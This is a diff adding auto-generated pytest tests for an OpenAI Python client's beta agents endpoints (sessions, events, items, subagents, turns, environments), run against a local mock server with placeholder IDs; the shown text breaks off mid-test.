+++ b/tests/api_resources/beta/agents/sessions/test_events.py
@@ -0,0 +1,350 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+import os
+from typing import Any, cast
+
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+
+base_url = os.environ.get("TEST_API_BASE_URL", "http://127.0.0.1:4010")
+
+
+class TestEvents:
+ parametrize = pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
+
+ @parametrize
+ def test_method_create(self, client: OpenAI) -> None:
+ event = client.beta.agents.sessions.events.create(
+ session_id="session_id",
+ events=[
+ {
+ "input": [
+ {
+ "content": [
+ {
+ "text": "text",
+ "type": "input_text",
+ }
+ ],
+ "role": "user",
+ }
+ ],
+ "type": "agent.session.input.message",
+ }
+ ],
+ )
+ assert event is None
+
+ @parametrize
+ def test_method_create_with_all_params(self, client: OpenAI) -> None:
+ event = client.beta.agents.sessions.events.create(
+ session_id="session_id",
+ events=[
+ {
+ "input": [
+ {
+ "content": [
+ {
+ "text": "text",
+ "type": "input_text",
+ }
+ ],
+ "role": "user",
+ "type": "message",
+ }
+ ],
+ "type": "agent.session.input.message",
+ }
+ ],
+ idempotency_key="x",
+ )
+ assert event is None
+
+ @parametrize
+ def test_raw_response_create(self, client: OpenAI) -> None:
+ response = client.beta.agents.sessions.events.with_raw_response.create(
+ session_id="session_id",
+ events=[
+ {
+ "input": [
+ {
+ "content": [
+ {
+ "text": "text",
+ "type": "input_text",
+ }
+ ],
+ "role": "user",
+ }
+ ],
+ "type": "agent.session.input.message",
+ }
+ ],
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ event = response.parse()
+ assert event is None
+
+ @parametrize
+ def test_streaming_response_create(self, client: OpenAI) -> None:
+ with client.beta.agents.sessions.events.with_streaming_response.create(
+ session_id="session_id",
+ events=[
+ {
+ "input": [
+ {
+ "content": [
+ {
+ "text": "text",
+ "type": "input_text",
+ }
+ ],
+ "role": "user",
+ }
+ ],
+ "type": "agent.session.input.message",
+ }
+ ],
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ event = response.parse()
+ assert event is None
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_create(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ client.beta.agents.sessions.events.with_raw_response.create(
+ session_id="",
+ events=[
+ {
+ "input": [
+ {
+ "content": [
+ {
+ "text": "text",
+ "type": "input_text",
+ }
+ ],
+ "role": "user",
+ }
+ ],
+ "type": "agent.session.input.message",
+ }
+ ],
+ )
+
+ @parametrize
+ def test_method_stream(self, client: OpenAI) -> None:
+ event_stream = client.beta.agents.sessions.events.stream(
+ "session_id",
+ )
+ event_stream.response.close()
+
+ @parametrize
+ def test_raw_response_stream(self, client: OpenAI) -> None:
+ response = client.beta.agents.sessions.events.with_raw_response.stream(
+ "session_id",
+ )
+
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ stream = response.parse()
+ stream.close()
+
+ @parametrize
+ def test_streaming_response_stream(self, client: OpenAI) -> None:
+ with client.beta.agents.sessions.events.with_streaming_response.stream(
+ "session_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ stream = response.parse()
+ stream.close()
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_stream(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ client.beta.agents.sessions.events.with_raw_response.stream(
+ "",
+ )
+
+
+class TestAsyncEvents:
+ parametrize = pytest.mark.parametrize(
+ "async_client", [False, True, {"http_client": "aiohttp"}], indirect=True, ids=["loose", "strict", "aiohttp"]
+ )
+
+ @parametrize
+ async def test_method_create(self, async_client: AsyncOpenAI) -> None:
+ event = await async_client.beta.agents.sessions.events.create(
+ session_id="session_id",
+ events=[
+ {
+ "input": [
+ {
+ "content": [
+ {
+ "text": "text",
+ "type": "input_text",
+ }
+ ],
+ "role": "user",
+ }
+ ],
+ "type": "agent.session.input.message",
+ }
+ ],
+ )
+ assert event is None
+
+ @parametrize
+ async def test_method_create_with_all_params(self, async_client: AsyncOpenAI) -> None:
+ event = await async_client.beta.agents.sessions.events.create(
+ session_id="session_id",
+ events=[
+ {
+ "input": [
+ {
+ "content": [
+ {
+ "text": "text",
+ "type": "input_text",
+ }
+ ],
+ "role": "user",
+ "type": "message",
+ }
+ ],
+ "type": "agent.session.input.message",
+ }
+ ],
+ idempotency_key="x",
+ )
+ assert event is None
+
+ @parametrize
+ async def test_raw_response_create(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.sessions.events.with_raw_response.create(
+ session_id="session_id",
+ events=[
+ {
+ "input": [
+ {
+ "content": [
+ {
+ "text": "text",
+ "type": "input_text",
+ }
+ ],
+ "role": "user",
+ }
+ ],
+ "type": "agent.session.input.message",
+ }
+ ],
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ event = response.parse()
+ assert event is None
+
+ @parametrize
+ async def test_streaming_response_create(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.sessions.events.with_streaming_response.create(
+ session_id="session_id",
+ events=[
+ {
+ "input": [
+ {
+ "content": [
+ {
+ "text": "text",
+ "type": "input_text",
+ }
+ ],
+ "role": "user",
+ }
+ ],
+ "type": "agent.session.input.message",
+ }
+ ],
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ event = await response.parse()
+ assert event is None
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_create(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ await async_client.beta.agents.sessions.events.with_raw_response.create(
+ session_id="",
+ events=[
+ {
+ "input": [
+ {
+ "content": [
+ {
+ "text": "text",
+ "type": "input_text",
+ }
+ ],
+ "role": "user",
+ }
+ ],
+ "type": "agent.session.input.message",
+ }
+ ],
+ )
+
+ @parametrize
+ async def test_method_stream(self, async_client: AsyncOpenAI) -> None:
+ event_stream = await async_client.beta.agents.sessions.events.stream(
+ "session_id",
+ )
+ await event_stream.response.aclose()
+
+ @parametrize
+ async def test_raw_response_stream(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.sessions.events.with_raw_response.stream(
+ "session_id",
+ )
+
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ stream = response.parse()
+ await stream.close()
+
+ @parametrize
+ async def test_streaming_response_stream(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.sessions.events.with_streaming_response.stream(
+ "session_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ stream = await response.parse()
+ await stream.close()
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_stream(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ await async_client.beta.agents.sessions.events.with_raw_response.stream(
+ "",
+ )
diff --git a/tests/api_resources/beta/agents/sessions/test_items.py b/tests/api_resources/beta/agents/sessions/test_items.py
new file mode 100644
index 0000000000..b5a94c13f6
--- /dev/null
+++ b/tests/api_resources/beta/agents/sessions/test_items.py
@@ -0,0 +1,121 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+import os
+from typing import Any, cast
+
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from tests.utils import assert_matches_type
+from openai.pagination import SyncCursorPage, AsyncCursorPage
+from openai.types.beta import AgentSessionItem
+
+base_url = os.environ.get("TEST_API_BASE_URL", "http://127.0.0.1:4010")
+
+
+class TestItems:
+ parametrize = pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
+
+ @parametrize
+ def test_method_list(self, client: OpenAI) -> None:
+ item = client.beta.agents.sessions.items.list(
+ session_id="session_id",
+ )
+ assert_matches_type(SyncCursorPage[AgentSessionItem], item, path=["response"])
+
+ @parametrize
+ def test_method_list_with_all_params(self, client: OpenAI) -> None:
+ item = client.beta.agents.sessions.items.list(
+ session_id="session_id",
+ after="after",
+ limit=1,
+ order="asc",
+ )
+ assert_matches_type(SyncCursorPage[AgentSessionItem], item, path=["response"])
+
+ @parametrize
+ def test_raw_response_list(self, client: OpenAI) -> None:
+ response = client.beta.agents.sessions.items.with_raw_response.list(
+ session_id="session_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ item = response.parse()
+ assert_matches_type(SyncCursorPage[AgentSessionItem], item, path=["response"])
+
+ @parametrize
+ def test_streaming_response_list(self, client: OpenAI) -> None:
+ with client.beta.agents.sessions.items.with_streaming_response.list(
+ session_id="session_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ item = response.parse()
+ assert_matches_type(SyncCursorPage[AgentSessionItem], item, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_list(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ client.beta.agents.sessions.items.with_raw_response.list(
+ session_id="",
+ )
+
+
+class TestAsyncItems:
+ parametrize = pytest.mark.parametrize(
+ "async_client", [False, True, {"http_client": "aiohttp"}], indirect=True, ids=["loose", "strict", "aiohttp"]
+ )
+
+ @parametrize
+ async def test_method_list(self, async_client: AsyncOpenAI) -> None:
+ item = await async_client.beta.agents.sessions.items.list(
+ session_id="session_id",
+ )
+ assert_matches_type(AsyncCursorPage[AgentSessionItem], item, path=["response"])
+
+ @parametrize
+ async def test_method_list_with_all_params(self, async_client: AsyncOpenAI) -> None:
+ item = await async_client.beta.agents.sessions.items.list(
+ session_id="session_id",
+ after="after",
+ limit=1,
+ order="asc",
+ )
+ assert_matches_type(AsyncCursorPage[AgentSessionItem], item, path=["response"])
+
+ @parametrize
+ async def test_raw_response_list(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.sessions.items.with_raw_response.list(
+ session_id="session_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ item = response.parse()
+ assert_matches_type(AsyncCursorPage[AgentSessionItem], item, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_list(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.sessions.items.with_streaming_response.list(
+ session_id="session_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ item = await response.parse()
+ assert_matches_type(AsyncCursorPage[AgentSessionItem], item, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_list(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ await async_client.beta.agents.sessions.items.with_raw_response.list(
+ session_id="",
+ )
diff --git a/tests/api_resources/beta/agents/sessions/test_subagents.py b/tests/api_resources/beta/agents/sessions/test_subagents.py
new file mode 100644
index 0000000000..116aa9244c
--- /dev/null
+++ b/tests/api_resources/beta/agents/sessions/test_subagents.py
@@ -0,0 +1,217 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+import os
+from typing import Any, cast
+
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from tests.utils import assert_matches_type
+from openai.pagination import SyncCursorPage, AsyncCursorPage
+from openai.types.beta import Subagent
+
+base_url = os.environ.get("TEST_API_BASE_URL", "http://127.0.0.1:4010")
+
+
+class TestSubagents:
+ parametrize = pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
+
+ @parametrize
+ def test_method_retrieve(self, client: OpenAI) -> None:
+ subagent = client.beta.agents.sessions.subagents.retrieve(
+ subagent_id="subagent_id",
+ session_id="session_id",
+ )
+ assert_matches_type(Subagent, subagent, path=["response"])
+
+ @parametrize
+ def test_raw_response_retrieve(self, client: OpenAI) -> None:
+ response = client.beta.agents.sessions.subagents.with_raw_response.retrieve(
+ subagent_id="subagent_id",
+ session_id="session_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ subagent = response.parse()
+ assert_matches_type(Subagent, subagent, path=["response"])
+
+ @parametrize
+ def test_streaming_response_retrieve(self, client: OpenAI) -> None:
+ with client.beta.agents.sessions.subagents.with_streaming_response.retrieve(
+ subagent_id="subagent_id",
+ session_id="session_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ subagent = response.parse()
+ assert_matches_type(Subagent, subagent, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_retrieve(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ client.beta.agents.sessions.subagents.with_raw_response.retrieve(
+ subagent_id="subagent_id",
+ session_id="",
+ )
+
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `subagent_id` but received ''"):
+ client.beta.agents.sessions.subagents.with_raw_response.retrieve(
+ subagent_id="",
+ session_id="session_id",
+ )
+
+ @parametrize
+ def test_method_list(self, client: OpenAI) -> None:
+ subagent = client.beta.agents.sessions.subagents.list(
+ session_id="session_id",
+ )
+ assert_matches_type(SyncCursorPage[Subagent], subagent, path=["response"])
+
+ @parametrize
+ def test_method_list_with_all_params(self, client: OpenAI) -> None:
+ subagent = client.beta.agents.sessions.subagents.list(
+ session_id="session_id",
+ after="after",
+ limit=1,
+ order="asc",
+ )
+ assert_matches_type(SyncCursorPage[Subagent], subagent, path=["response"])
+
+ @parametrize
+ def test_raw_response_list(self, client: OpenAI) -> None:
+ response = client.beta.agents.sessions.subagents.with_raw_response.list(
+ session_id="session_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ subagent = response.parse()
+ assert_matches_type(SyncCursorPage[Subagent], subagent, path=["response"])
+
+ @parametrize
+ def test_streaming_response_list(self, client: OpenAI) -> None:
+ with client.beta.agents.sessions.subagents.with_streaming_response.list(
+ session_id="session_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ subagent = response.parse()
+ assert_matches_type(SyncCursorPage[Subagent], subagent, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_list(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ client.beta.agents.sessions.subagents.with_raw_response.list(
+ session_id="",
+ )
+
+
+class TestAsyncSubagents:
+ parametrize = pytest.mark.parametrize(
+ "async_client", [False, True, {"http_client": "aiohttp"}], indirect=True, ids=["loose", "strict", "aiohttp"]
+ )
+
+ @parametrize
+ async def test_method_retrieve(self, async_client: AsyncOpenAI) -> None:
+ subagent = await async_client.beta.agents.sessions.subagents.retrieve(
+ subagent_id="subagent_id",
+ session_id="session_id",
+ )
+ assert_matches_type(Subagent, subagent, path=["response"])
+
+ @parametrize
+ async def test_raw_response_retrieve(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.sessions.subagents.with_raw_response.retrieve(
+ subagent_id="subagent_id",
+ session_id="session_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ subagent = response.parse()
+ assert_matches_type(Subagent, subagent, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_retrieve(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.sessions.subagents.with_streaming_response.retrieve(
+ subagent_id="subagent_id",
+ session_id="session_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ subagent = await response.parse()
+ assert_matches_type(Subagent, subagent, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_retrieve(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ await async_client.beta.agents.sessions.subagents.with_raw_response.retrieve(
+ subagent_id="subagent_id",
+ session_id="",
+ )
+
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `subagent_id` but received ''"):
+ await async_client.beta.agents.sessions.subagents.with_raw_response.retrieve(
+ subagent_id="",
+ session_id="session_id",
+ )
+
+ @parametrize
+ async def test_method_list(self, async_client: AsyncOpenAI) -> None:
+ subagent = await async_client.beta.agents.sessions.subagents.list(
+ session_id="session_id",
+ )
+ assert_matches_type(AsyncCursorPage[Subagent], subagent, path=["response"])
+
+ @parametrize
+ async def test_method_list_with_all_params(self, async_client: AsyncOpenAI) -> None:
+ subagent = await async_client.beta.agents.sessions.subagents.list(
+ session_id="session_id",
+ after="after",
+ limit=1,
+ order="asc",
+ )
+ assert_matches_type(AsyncCursorPage[Subagent], subagent, path=["response"])
+
+ @parametrize
+ async def test_raw_response_list(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.sessions.subagents.with_raw_response.list(
+ session_id="session_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ subagent = response.parse()
+ assert_matches_type(AsyncCursorPage[Subagent], subagent, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_list(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.sessions.subagents.with_streaming_response.list(
+ session_id="session_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ subagent = await response.parse()
+ assert_matches_type(AsyncCursorPage[Subagent], subagent, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_list(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ await async_client.beta.agents.sessions.subagents.with_raw_response.list(
+ session_id="",
+ )
diff --git a/tests/api_resources/beta/agents/sessions/test_turns.py b/tests/api_resources/beta/agents/sessions/test_turns.py
new file mode 100644
index 0000000000..df5bc52ce7
--- /dev/null
+++ b/tests/api_resources/beta/agents/sessions/test_turns.py
@@ -0,0 +1,217 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+import os
+from typing import Any, cast
+
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from tests.utils import assert_matches_type
+from openai.pagination import SyncCursorPage, AsyncCursorPage
+from openai.types.beta.agents.sessions import Turn
+
+base_url = os.environ.get("TEST_API_BASE_URL", "http://127.0.0.1:4010")
+
+
+class TestTurns:
+ parametrize = pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
+
+ @parametrize
+ def test_method_retrieve(self, client: OpenAI) -> None:
+ turn = client.beta.agents.sessions.turns.retrieve(
+ turn_id="turn_id",
+ session_id="session_id",
+ )
+ assert_matches_type(Turn, turn, path=["response"])
+
+ @parametrize
+ def test_raw_response_retrieve(self, client: OpenAI) -> None:
+ response = client.beta.agents.sessions.turns.with_raw_response.retrieve(
+ turn_id="turn_id",
+ session_id="session_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ turn = response.parse()
+ assert_matches_type(Turn, turn, path=["response"])
+
+ @parametrize
+ def test_streaming_response_retrieve(self, client: OpenAI) -> None:
+ with client.beta.agents.sessions.turns.with_streaming_response.retrieve(
+ turn_id="turn_id",
+ session_id="session_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ turn = response.parse()
+ assert_matches_type(Turn, turn, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_retrieve(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ client.beta.agents.sessions.turns.with_raw_response.retrieve(
+ turn_id="turn_id",
+ session_id="",
+ )
+
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `turn_id` but received ''"):
+ client.beta.agents.sessions.turns.with_raw_response.retrieve(
+ turn_id="",
+ session_id="session_id",
+ )
+
+ @parametrize
+ def test_method_list(self, client: OpenAI) -> None:
+ turn = client.beta.agents.sessions.turns.list(
+ session_id="session_id",
+ )
+ assert_matches_type(SyncCursorPage[Turn], turn, path=["response"])
+
+ @parametrize
+ def test_method_list_with_all_params(self, client: OpenAI) -> None:
+ turn = client.beta.agents.sessions.turns.list(
+ session_id="session_id",
+ after="after",
+ limit=1,
+ order="asc",
+ )
+ assert_matches_type(SyncCursorPage[Turn], turn, path=["response"])
+
+ @parametrize
+ def test_raw_response_list(self, client: OpenAI) -> None:
+ response = client.beta.agents.sessions.turns.with_raw_response.list(
+ session_id="session_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ turn = response.parse()
+ assert_matches_type(SyncCursorPage[Turn], turn, path=["response"])
+
+ @parametrize
+ def test_streaming_response_list(self, client: OpenAI) -> None:
+ with client.beta.agents.sessions.turns.with_streaming_response.list(
+ session_id="session_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ turn = response.parse()
+ assert_matches_type(SyncCursorPage[Turn], turn, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_list(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ client.beta.agents.sessions.turns.with_raw_response.list(
+ session_id="",
+ )
+
+
+class TestAsyncTurns:
+ parametrize = pytest.mark.parametrize(
+ "async_client", [False, True, {"http_client": "aiohttp"}], indirect=True, ids=["loose", "strict", "aiohttp"]
+ )
+
+ @parametrize
+ async def test_method_retrieve(self, async_client: AsyncOpenAI) -> None:
+ turn = await async_client.beta.agents.sessions.turns.retrieve(
+ turn_id="turn_id",
+ session_id="session_id",
+ )
+ assert_matches_type(Turn, turn, path=["response"])
+
+ @parametrize
+ async def test_raw_response_retrieve(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.sessions.turns.with_raw_response.retrieve(
+ turn_id="turn_id",
+ session_id="session_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ turn = response.parse()
+ assert_matches_type(Turn, turn, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_retrieve(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.sessions.turns.with_streaming_response.retrieve(
+ turn_id="turn_id",
+ session_id="session_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ turn = await response.parse()
+ assert_matches_type(Turn, turn, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_retrieve(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ await async_client.beta.agents.sessions.turns.with_raw_response.retrieve(
+ turn_id="turn_id",
+ session_id="",
+ )
+
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `turn_id` but received ''"):
+ await async_client.beta.agents.sessions.turns.with_raw_response.retrieve(
+ turn_id="",
+ session_id="session_id",
+ )
+
+ @parametrize
+ async def test_method_list(self, async_client: AsyncOpenAI) -> None:
+ turn = await async_client.beta.agents.sessions.turns.list(
+ session_id="session_id",
+ )
+ assert_matches_type(AsyncCursorPage[Turn], turn, path=["response"])
+
+ @parametrize
+ async def test_method_list_with_all_params(self, async_client: AsyncOpenAI) -> None:
+ turn = await async_client.beta.agents.sessions.turns.list(
+ session_id="session_id",
+ after="after",
+ limit=1,
+ order="asc",
+ )
+ assert_matches_type(AsyncCursorPage[Turn], turn, path=["response"])
+
+ @parametrize
+ async def test_raw_response_list(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.sessions.turns.with_raw_response.list(
+ session_id="session_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ turn = response.parse()
+ assert_matches_type(AsyncCursorPage[Turn], turn, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_list(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.sessions.turns.with_streaming_response.list(
+ session_id="session_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ turn = await response.parse()
+ assert_matches_type(AsyncCursorPage[Turn], turn, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_list(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ await async_client.beta.agents.sessions.turns.with_raw_response.list(
+ session_id="",
+ )
diff --git a/tests/api_resources/beta/agents/test_environments.py b/tests/api_resources/beta/agents/test_environments.py
new file mode 100644
index 0000000000..3c42c6fe78
--- /dev/null
+++ b/tests/api_resources/beta/agents/test_environments.py
@@ -0,0 +1,100 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+import os
+from typing import Any, cast
+
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from tests.utils import assert_matches_type
+from openai.types.beta.agents import EnvironmentInfo
+
+base_url = os.environ.get("TEST_API_BASE_URL", "http://127.0.0.1:4010")
+
+
+class TestEnvironments:
+ parametrize = pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
+
+ @parametrize
+ def test_method_retrieve(self, client: OpenAI) -> None:
+ environment = client.beta.agents.environments.retrieve(
+ "environment_id",
+ )
+ assert_matches_type(EnvironmentInfo, environment, path=["response"])
+
+ @parametrize
+ def test_raw_response_retrieve(self, client: OpenAI) -> None:
+ response = client.beta.agents.environments.with_raw_response.retrieve(
+ "environment_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ environment = response.parse()
+ assert_matches_type(EnvironmentInfo, environment, path=["response"])
+
+ @parametrize
+ def test_streaming_response_retrieve(self, client: OpenAI) -> None:
+ with client.beta.agents.environments.with_streaming_response.retrieve(
+ "environment_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ environment = response.parse()
+ assert_matches_type(EnvironmentInfo, environment, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_retrieve(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `environment_id` but received ''"):
+ client.beta.agents.environments.with_raw_response.retrieve(
+ "",
+ )
+
+
+class TestAsyncEnvironments:
+ parametrize = pytest.mark.parametrize(
+ "async_client", [False, True, {"http_client": "aiohttp"}], indirect=True, ids=["loose", "strict", "aiohttp"]
+ )
+
+ @parametrize
+ async def test_method_retrieve(self, async_client: AsyncOpenAI) -> None:
+ environment = await async_client.beta.agents.environments.retrieve(
+ "environment_id",
+ )
+ assert_matches_type(EnvironmentInfo, environment, path=["response"])
+
+ @parametrize
+ async def test_raw_response_retrieve(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.environments.with_raw_response.retrieve(
+ "environment_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ environment = response.parse()
+ assert_matches_type(EnvironmentInfo, environment, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_retrieve(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.environments.with_streaming_response.retrieve(
+ "environment_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ environment = await response.parse()
+ assert_matches_type(EnvironmentInfo, environment, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_retrieve(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `environment_id` but received ''"):
+ await async_client.beta.agents.environments.with_raw_response.retrieve(
+ "",
+ )
diff --git a/tests/api_resources/beta/agents/test_sessions.py b/tests/api_resources/beta/agents/test_sessions.py
new file mode 100644
index 0000000000..198475fcbd
--- /dev/null
+++ b/tests/api_resources/beta/agents/test_sessions.py
@@ -0,0 +1,619 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+import os
+from typing import Any, cast
+
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from tests.utils import assert_matches_type
+from openai.pagination import SyncCursorPage, AsyncCursorPage
+from openai.types.beta import AgentSession, AgentSessionDeleted
+
+base_url = os.environ.get("TEST_API_BASE_URL", "http://127.0.0.1:4010")
+
+
+class TestSessions:
+ parametrize = pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
+
+ @parametrize
+ def test_method_create_overload_1(self, client: OpenAI) -> None:
+ session = client.beta.agents.sessions.create(
+ environment={"type": "none"},
+ )
+ assert_matches_type(AgentSession, session, path=["response"])
+
+ @parametrize
+ def test_method_create_with_all_params_overload_1(self, client: OpenAI) -> None:
